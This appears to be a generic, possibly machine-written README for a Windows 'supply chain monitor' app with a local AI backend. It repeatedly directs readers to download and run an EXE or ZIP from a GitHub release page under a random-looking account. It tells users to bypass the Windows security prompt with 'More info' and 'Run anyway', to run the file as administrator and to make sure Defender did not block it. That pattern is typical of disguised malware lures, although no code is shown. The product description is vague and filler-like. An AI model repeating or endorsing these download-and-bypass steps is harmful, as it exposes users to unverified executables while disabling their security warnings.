supply-chain-monitor-localai helps you monitor supply chain activity with a local AI backend. It is a Windows app build for end users who want to download a release and run it on their computer.
Use the release page to get the latest version:
https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/releases
- Open the release page.
- Find the newest release at the top of the page.
- Download the Windows file from the release assets.
- If the file is a ZIP archive, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the app file to start it.
If Windows shows a security prompt:
- Click More info
- Click Run anyway
If you see a ZIP file and not an EXE file, that is normal. Many Windows apps ship as a ZIP so you can unpack the files first.
This app is made for Windows desktops and laptops.
Recommended setup:
- Windows 10 or Windows 11
- 8 GB RAM or more
- 5 GB free disk space
- A modern CPU
- A steady internet connection for the first setup
- A local AI runtime if you want model-based analysis
For the best experience, use a machine with at least 16 GB RAM if you plan to work with larger models.
This app is a fork of the original Elastic supply chain monitor, with a local AI backend. That means it can use your own machine for AI tasks instead of sending data to a remote service.
Typical flow:
- You open the app.
- You load or connect your supply chain data.
- The app checks patterns and events.
- The local AI backend helps summarize what matters.
- You review the results in the interface.
The local backend can use tools such as:
- vLLM
- llama.cpp
After you open the app for the first time, follow these steps:
- Start the program.
- Let it finish loading.
- If a setup screen appears, choose the local AI option.
- Select the backend you want to use.
- Point the app to your model file or model folder.
- Save the settings.
- Load your data source and run the first scan.
If the app asks for a model path, choose the folder where your AI model files are stored.
This project supports local model backends so you can run AI features on your computer.
Use this if:
- You want high performance
- You have a stronger system
- You already use vLLM for local inference
Use this if:
- You want a simple local setup
- You want to run smaller models
- You prefer a light tool that works well on many PCs
If you are not sure which one to pick, start with llama.cpp. It is often easier for a first run.
After setup, you can use the app like this:
- Open the program.
- Load your supply chain data.
- Review the scan results.
- Check alerts and trends.
- Use the AI summary to understand the data faster.
- Export or save your report if the app provides that option.
The app is built to help you spot changes in supply data, review risk signals, and read plain-language summaries without digging through raw records.
You may see some of these file types in the release:
.exe— the app file you can open on Windows.zip— a compressed folder that you must extract first- model files — files used by the local AI backend
If you are not sure which file to open, choose the Windows .exe file if one is provided. If only a .zip file is available, extract it first.
Try this:
- Right-click the file
- Choose Run as administrator
- Check that the file is fully extracted if it came in a ZIP
- Make sure Windows Defender did not block the file
Try this:
- Confirm you downloaded the full release asset
- Re-extract the ZIP file
- Open the app from the extracted folder
- Check whether the app needs a local model path
Try this:
- Check the backend setting in the app
- Make sure your model file exists
- Confirm the model format matches the backend
- Restart the app after changing settings
Try this:
- Close other large apps
- Use a smaller local model
- Lower the load on your machine
- Use a backend that fits your hardware
- Use clean, current data
- Keep your model files in one folder
- Start with a small local model
- Save your settings after each change
- Restart the app after changing the backend
- Use the same data source each time when testing
This app is a local supply chain monitor with AI help. It is useful if you want:
- A desktop tool for supply chain review
- Local AI processing on your own machine
- Faster review of large data sets
- Simple summaries of supply events
- A Windows app you can download and run from a release
Use this page to download and run the latest Windows build:
https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/releases
You can use the app to:
- Review supplier activity
- Watch for unusual changes in supply records
- Check trends across shipments or orders
- Read AI-generated summaries of key events
- Keep analysis local on your own PC
If you want a quick path on Windows:
- Visit the release page
- Download the latest Windows asset
- Extract the files if needed
- Open the main app file
- Allow Windows to finish the first launch
- Set your local AI backend
- Load your data and begin
Because this version uses a local AI backend, your data can stay on your machine during AI processing. That can help if you want more control over where your data goes.
If you want a clean setup, use this layout:
Downloadssupply-chain-monitor-localai.zip
Appssupply-chain-monitor-localai
Modelsyour-local-model-files
This makes it easier to find the app and model files later.
Check the release page for new builds, fixes, and changes:
https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/releases